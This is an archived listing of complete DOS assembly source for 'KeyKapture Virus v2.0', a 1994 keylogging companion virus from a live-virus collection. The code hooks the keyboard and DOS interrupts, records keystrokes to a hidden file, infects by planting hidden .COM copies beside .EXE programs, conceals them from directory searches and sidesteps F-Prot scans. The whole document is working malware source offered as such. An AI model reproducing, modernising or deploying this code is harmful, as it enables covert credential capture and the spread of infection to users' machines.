home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / kk2.asm < prev    next >
Assembly Source File  |  1994-02-03  |  12KB  |  500 lines

  1. ;                           KeyKapture Virus v2.0
  2. ;                  (c) 1994 by Stormbringer [Phalcon/Skism]
  3. ;
  4. ;          This virus was written exclusively for Crypt Newsletter.
  5. ;
  6. ;  This virus is designed to aid in the capture of keystrokes on machines.
  7. ;It is probably best suited for a network environment - if it can be executed
  8. ;under root priveledges once, it will become _very_ effective.  It can capture
  9. ;up to 1k of keystrokes before it must be allowed to dump.  Dumping will be
  10. ;attempted when a disk change command is issued - strokes will be saved in
  11. ;a hidden file called KKV2 in the current directory on the new drive (if 
  12. ;possible).  Some of the code was taken from Hellspawn - all known bugs
  13. ;have been fixed.
  14.  
  15.  
  16. .model tiny
  17. .radix 16
  18. .code
  19.         org 100
  20. start:
  21. ;───────────────────────────[Installation Routine]───────────────────────────
  22. AllocateMemory:
  23.         mov     bx,(end_prog-start+1024d)/10
  24.         mov     ah,4ah
  25.         int     21
  26.  
  27.         mov     ah,48h
  28.         mov     bx,40*3
  29.         int     21
  30.  
  31. SetOwnerShip:
  32.         sub     ax,10
  33.         mov     es,ax
  34.         mov     word ptr es:[0f1],08
  35.  
  36. CopyVirus:        
  37.         mov     di,100
  38.         mov     cx,end_prog-start
  39.         mov     si,100
  40.         repnz   movsb
  41.  
  42. SetStealth:
  43.         mov     word ptr es:[LetterPTR],offset keystrokes
  44.         mov     byte ptr es:[StealthOn],1
  45.  
  46. SetInterrupt21:
  47.         push    es
  48.         pop     ds
  49.         
  50.         mov     ax,3521
  51.         int     21
  52.  
  53.         mov     [IP_21],bx
  54.         mov     [CS_21],es
  55.  
  56.         mov     dx,offset Int21
  57.         mov     ah,25
  58.         int     21
  59.  
  60.         mov     ax,3509
  61.         int     21
  62.  
  63.         mov     [IP_09],bx
  64.         mov     [CS_09],es
  65.  
  66.         mov     dx,offset Int09
  67.         mov     ah,25
  68.         int     21
  69.  
  70.         
  71. RunOriginalProgram:
  72.         push    cs
  73.         pop     es
  74.         mov     ax,es:[2c]
  75.         mov     ds,ax
  76.         xor     si,si
  77.  
  78. FindPath:        
  79.         lodsw
  80.         or      ax,ax
  81.         je      FoundPath
  82.         dec     si
  83.         jmp     FindPath
  84.  
  85. FoundPath:        
  86.         lodsw
  87.  
  88. ChangeFilenameToEXE:
  89.         mov     di,si
  90.         mov     cx,80
  91. FindEOF:       
  92.         lodsb
  93.         or      al,al
  94.         jne     FindEOF
  95.         mov     word ptr ds:[si-4],'XE'
  96.         mov     byte ptr ds:[si-2],'E'
  97.         
  98.         mov     cx,si
  99.         sub     cx,di
  100.         dec     cx
  101.         mov     si,di
  102.         mov     di,offset Filename
  103.         mov     al,cl
  104.         add     al,es:[80]
  105.         stosb
  106.         repnz   movsb
  107.  
  108. SetCommandLine:
  109.         push    cs
  110.         pop     ds
  111.         mov     si,81
  112.         mov     cl,ds:[80]
  113.         or      cl,cl
  114.         jz      SkipCommandLine
  115.         repnz   movsb
  116.         
  117. SkipCommandLine:
  118.         mov     byte ptr es:[di],0dh
  119.         mov     si,offset Filename
  120.         int     2e
  121.         mov     ax,4c00
  122.         int     21
  123. ;────────────────────────────[End Installation]──────────────────────────────
  124.  
  125.  
  126.  
  127. ;────────────────────────────[Int 21h Handler]───────────────────────────────
  128. Int21:
  129.         push    bp
  130.         
  131.         push    ax bx cx dx es ds si di
  132.         push    cs cs
  133.         pop     es ds
  134.         cld
  135.         mov     si,offset FunctionList
  136.         mov     cx,EndList-FunctionList
  137.         
  138. FindByte:        
  139.         lodsb
  140.         cmp     ah,al
  141.         je      FoundByte
  142.         loop    FindByte
  143.  
  144. FoundByte:
  145.         jcxz    ExitHandler
  146.         mov     bp,EndList-FunctionList
  147.         sub     bp,cx
  148.         shl     bp,1
  149.         add     bp,offset HandlerList
  150.         pop     di si ds es dx cx bx ax
  151.         call    word ptr cs:[bp]
  152.         jmp     short GoInt21
  153.  
  154. ExitHandler:
  155.         pop     di si ds es dx cx bx ax
  156. GoInt21:
  157.         pop     bp
  158.         db      0ea
  159. IP_21   dw      0
  160. CS_21   dw      0
  161.  
  162.  
  163. FakeInt21:
  164.         pushf
  165.         call    dword ptr cs:[IP_21]
  166.         ret
  167.  
  168. FunctionList:
  169.         db      0,0e,11,12,3dh,4bh,4c,4e,4f,6c
  170. EndList:
  171.  
  172. HandlerList:
  173.         dw      offset Terminate
  174.         dw      offset DumpKey
  175.         dw      Offset FCBFind
  176.         dw      Offset FCBFind
  177.         dw      Offset OpenHandle
  178.         dw      Offset Execute
  179.         dw      Offset Terminate
  180.         dw      Offset FindHandle
  181.         dw      Offset FindHandle
  182.         dw      offset NewOpen
  183.  
  184. ;─────────────────────────────[Infection Handlers]──────────────────────────
  185.  
  186. Terminate:
  187.         mov     byte ptr cs:[StealthOn],1
  188.         ret
  189.  
  190. OpenHandle:
  191.         push    ax bx cx dx es ds si di
  192.    GenericOpen:        
  193.         call    CheckName
  194.         jc      NotEXE
  195.         call    InfectFile
  196. NotEXE:
  197.         pop     di si ds es dx cx bx ax
  198.         ret
  199.  
  200. Execute:
  201.         push    si ax
  202.         mov     si,dx
  203.  
  204. FindEOFN:        
  205.         lodsb
  206.         or      al,al
  207.         jnz     FindEOFN
  208.  
  209.         cmp     word ptr ds:[si-9],'DK'
  210.         je      ChkDsk
  211.         cmp     word ptr ds:[si-0a],'P-'
  212.         je      Fprot
  213.         pop     ax si
  214.         jmp     OpenHandle
  215. ChkDsk:
  216.         mov     byte ptr cs:[StealthOn],0
  217. FProt:
  218.         pop     ax si
  219.         ret
  220.  
  221. NewOpen:
  222.         push    ax bx cx dx es ds si di
  223.         mov     dx,si
  224.         jmp     short GenericOpen
  225.  
  226. CheckName:
  227.         push    ds si ax
  228.         mov     si,dx
  229.    FindZeroInName:        
  230.         lodsb
  231.         or      al,al
  232.         jnz     FindZeroInName
  233.         
  234.         cmp     word ptr [si-4],'XE'
  235.         jne     BadName
  236.         cmp     byte ptr [si-2],'E'
  237.         jne     BadName
  238.         cmp     word ptr ds:[si-0a],'P-'        ;is probably F-prot
  239.         je      BadName
  240.  
  241.     GoodName:
  242.         clc
  243.         jmp     short ReturnName
  244.     BadName:
  245.         stc
  246.     ReturnName:
  247.         pop     ax si ds
  248.         ret
  249.         
  250. InfectFile:
  251.         call    SetCritical
  252.         push    cs
  253.         pop     es
  254.         mov     si,dx
  255.         mov     di,offset Filename
  256.  
  257. CopyFilename:        
  258.         lodsb
  259.         stosb
  260.         or      al,al
  261.         jnz     CopyFilename
  262.  
  263.         push    cs
  264.         pop     ds
  265.  
  266.         mov     word ptr [di-4],'OC'
  267.         mov     byte ptr [di-2],'M'
  268.  
  269.  
  270. CreateVirus:
  271.         mov     ah,3c
  272.         mov     cx,2
  273.         mov     dx,offset Filename
  274.         call    fakeint21
  275.         jc      ErrorCreate
  276.  
  277. WriteVirus:        
  278.         xchg    bx,ax
  279.         mov     ah,40
  280.         mov     cx,end_prog-start
  281.         mov     dx,100
  282.         call    fakeint21
  283.  
  284. CloseVirus:
  285.         mov     ah,3e
  286.         call    fakeint21
  287.  
  288. ErrorCreate:
  289.         call    ResetCritical
  290.         ret
  291.  
  292. ;─────────────────────────────[Stealth Handlers]─────────────────────────────
  293. FCBFind:
  294.         cmp     byte ptr cs:[StealthOn],1
  295.         je      StealthIsOn
  296.         ret
  297. StealthIsOn:
  298.         call    FakeInt21
  299.         cmp     al,0ff
  300.         je      ErrorFF
  301. Stealth:
  302.         push    ax bx cx dx es ds si di
  303.         mov     ah,2f
  304.         call    FakeInt21
  305.  
  306.         cmp     byte ptr es:[bx],0ff
  307.         jne     NotExtended
  308.         add     bx,7
  309. NotExtended:
  310.         cmp     word ptr [bx+9],'OC'
  311.         jne     DoneFF
  312.         cmp     byte ptr [bx+0bh],'M'
  313.         jne     DoneFF
  314.         cmp     word ptr [bx+1dh],end_prog-start
  315.         jne     DoneFF
  316.  
  317. FindNextFile:                
  318.         pop     di si ds es dx cx bx ax
  319.         mov     ah,12
  320.         jmp     FCBFind
  321.  
  322. DoneFF:
  323.         pop     di si ds es dx cx bx ax
  324.         add     sp,2
  325.         pop     bp
  326.         retf    2
  327.  
  328. ErrorFF:
  329.         mov     al,0ff
  330.         add     sp,2
  331.         pop     bp
  332.         iret
  333.         
  334.  
  335. FindHandle:
  336.         pushf
  337.         call    dword ptr cs:[IP_21]
  338.         jc      ErrorHandleCall
  339.  
  340.         push    ax bx cx dx es ds si di
  341. GetDTA:        
  342.         mov     ah,2f
  343.         call    FakeInt21
  344.  
  345.         cmp     word ptr es:[bx+1a],end_prog-start       ;Check size
  346.         jne     EndHandle
  347.  
  348.         mov     ah,byte ptr es:[bx+15]
  349.         and     ah,2
  350.         jz      Endhandle
  351.         
  352.         pop     di si ds es dx cx bx ax
  353.         
  354.         mov     ah,4f
  355.         jmp     FindHandle
  356.  
  357. EndHandle:
  358.         pop     di si ds es dx cx bx ax
  359. DoneHandleStealth:
  360.         add     sp,2
  361.         pop     bp
  362.         clc
  363.         retf    02
  364.  
  365. ErrorHandleCall:
  366.         add     sp,2
  367.         pop     bp
  368.         mov     ah,12
  369.         stc
  370.         retf    02
  371.  
  372. ;─────────────────────────[End of Int 21h Handler]───────────────────────────
  373.  
  374.  
  375. ;────────────────────────────[Keyboard Handler]───────────────────────────
  376. Int09:
  377.         pushf
  378.         call    dword ptr cs:[IP_09]
  379.  
  380.         push    ax bx cx dx si di es ds
  381.         push    cs cs
  382.         pop     es ds
  383.         
  384.         xor     bx,bx
  385.         mov     ah,1            ;Check if chars are waiting
  386.         int     16
  387.         jz      No_Char
  388.         
  389.         mov     di,word ptr cs:[LetterPTR]
  390.         cmp     di,offset endkeys
  391.         jae     No_Char
  392.         
  393.         cmp     al,1ah                  ;Avoid EOF marks...
  394.         je      No_Char
  395.  
  396.         stosb
  397.         inc     word ptr cs:[LetterPTR]
  398.         cmp     al,0dh
  399.         jne     No_Char
  400.  
  401.         mov     al,0ah
  402.         stosb
  403.         inc     word ptr cs:[LetterPTR]
  404. No_Char:        
  405.         pop     ds es di si dx cx bx ax
  406.         iret
  407.  
  408.  
  409. DumpKey:
  410.         pushf
  411.         call    dword ptr cs:[IP_21]
  412.         jc      DoneDump
  413.         call    SetCritical
  414.         push    ax bx cx dx es ds si di
  415.         push    cs cs
  416.         pop     es ds
  417.         mov     ax,3d02
  418.         mov     dx,offset Keyfile
  419.         call    fakeint21
  420.         jnc     FileThere
  421.         mov     ah,3c
  422.         mov     dx,offset Keyfile
  423.         mov     cx,2
  424.         call    fakeint21
  425.         jc      DoneSave
  426. FileThere:
  427.         xchg    bx,ax
  428.         mov     ax,4202
  429.         xor     cx,cx
  430.         xor     dx,dx
  431.         call    fakeint21
  432.         mov     dx,offset keystrokes
  433.         mov     cx,letterptr
  434.         sub     cx,dx
  435.         mov     ah,40
  436.         int     21
  437.         mov     ah,3e
  438.         int     21
  439.  
  440.         mov     word ptr [LetterPTR],offset keystrokes
  441. DoneSave:
  442.         pop     di si ds es dx cx bx ax
  443.         call    ResetCritical
  444.         clc
  445. DoneDump:
  446.         add     sp,2
  447.         pop     bp
  448.         retf 2
  449.  
  450.  
  451. SetCritical:
  452.         push    ax bx ds
  453.         xor     ax,ax
  454.         mov     ds,ax
  455.         mov     ax,offset CriticalHandler
  456.         mov     bx,cs
  457.         cli
  458.         xchg    ds:[24*4],ax
  459.         xchg    ds:[24*4+2],bx
  460.         mov     word ptr cs:[CS_24],bx
  461.         mov     word ptr cs:[IP_24],ax
  462.         sti
  463.         pop     ds bx ax
  464.         ret
  465.  
  466. ResetCritical:
  467.         push    ax bx ds
  468.         xor     ax,ax
  469.         mov     ds,ax
  470.         mov     ax,word ptr cs:[IP_24]
  471.         mov     bx,word ptr cs:[CS_24]
  472.         cli
  473.         mov     word ptr ds:[24*4],ax
  474.         mov     word ptr ds:[24*4+2],bx
  475.         sti
  476.         pop     ds bx ax
  477.         ret
  478.  
  479. CriticalHandler:
  480.         mov     al,3
  481.         iret
  482.  
  483. keyFile    db      'KKV2',0
  484.  
  485. ;────────────────────────────[End Keyboard Handler]───────────────────────────
  486. Credits db      'KeyKapture Virus v2.0 (c) 1994 by Stormbringer [P/S]'
  487.  
  488. end_prog:
  489.  
  490. IP_09           dw      ?
  491. CS_09           dw      ?
  492. IP_24           dw      ?
  493. CS_24           dw      ?
  494. StealthOn       db      ?
  495. LetterPTR       dw      ?
  496. Filename        db      60 dup(?)
  497. keystrokes      db      400 dup(?)
  498. endkeys:
  499. end start
  500.